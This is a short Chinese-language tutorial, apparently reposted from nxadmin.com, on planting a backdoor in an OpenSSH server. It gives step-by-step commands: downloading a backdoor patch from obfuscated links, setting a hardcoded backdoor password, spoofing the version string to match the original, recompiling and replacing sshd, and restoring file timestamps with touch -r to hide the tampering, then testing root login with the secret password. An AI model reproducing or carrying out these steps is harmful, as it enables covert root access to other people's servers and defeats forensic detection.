来源：nxadmin.com   作者：Sky

1.ssh -V
#查看当前的ssh版本信息

#OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

2.查找ssh的配置文件

一般都在/etc/ssh中

3.备份原来的文件的time

将/etc/ssh下的文件的备份

假设/etc/ssh/sshd_config 备份为/etc/ssh/sshd_config.old

4.wget存在后门的ssh

#5efK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4G2M7X3g2Q4x3X3g2A6M7s2y4W2j5%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6J5L8$3!0@1K9$3W2@1i4K6u0r3M7r3q4@1j5$3S2Q4x3X3c8@1L8#2)9J5k6r3S2S2j5$3E0Q4x3V1k6Q4c8f1k6Q4b7V1y4Q4z5o6S2Q4c8e0g2Q4b7U0N6Q4b7U0u0Q4c8e0S2Q4b7e0u0Q4b7f1u0Q4c8e0g2Q4b7e0u0Q4z5e0W2Q4c8f1k6Q4b7V1y4Q4z5o6V1`. 后门

#b2aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3!0H3k6h3&6T1M7$3c8Q4x3X3g2G2M7X3N6Q4x3X3g2S2M7W2)9J5c8Y4m8#2j5W2)9J5c8V1!0H3k6h3&6n7f1@1c8Q4x3V1k6a6M7r3g2F1f1#2y4t1i4K6u0r3M7r3!0J5N6r3q4T1L8r3g2Q4x3V1j5`. 正规的ssh源文件

#openssh-5.9p1.tar（正规文件）

#openssh-5.9p1.path.tar（后门文件）

5.tar zxf openssh-5.9p1.tar

tar zxf openssh-5.9p1.path.tar

cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1

cd openssh-5.9p1

patch < sshbd5.9p1.diff

6.修改ssh信息

vi inculdes.h

##define SECRETPW “sky” 后门的密码

vi version.h

#define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3″ #修改为第一步ssh -V 查看到的信息

#define SSH_PORTABLE “p1″

7.源码编译

yum install -y openssl openssl-devel pam-devel

./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam –with-kereros5

#–sysconfdir=/etc/ssh 是在第二步查找的路径

#如果不设定和源文件的路径

#strings /usr/sbin/sshd | grep etc

#就可以看出问题！！！

编译过程中可能出现的报错：

configure: error: *** zlib.h missing – please install first or check config.log

#

#yum install zlib-devel

configure: error: *** Can’t find recent OpenSSL libcrypto (see config.log for details) ***

#

#yum install openssl openssl-devel

make && make install

/etc/init.d/sshd restart

7.还原原来ssh文件的time

修改文件的修改时间(mtime)

touch -r /etc/ssh/sshd_config.old /etc/ssh/config 等等

8.测试

ssh root@localhost

输入刚才设定的后门的密码，如果登录成功，表示设定ok！

[注意]看雪招聘，专注安全领域的专业人才平台！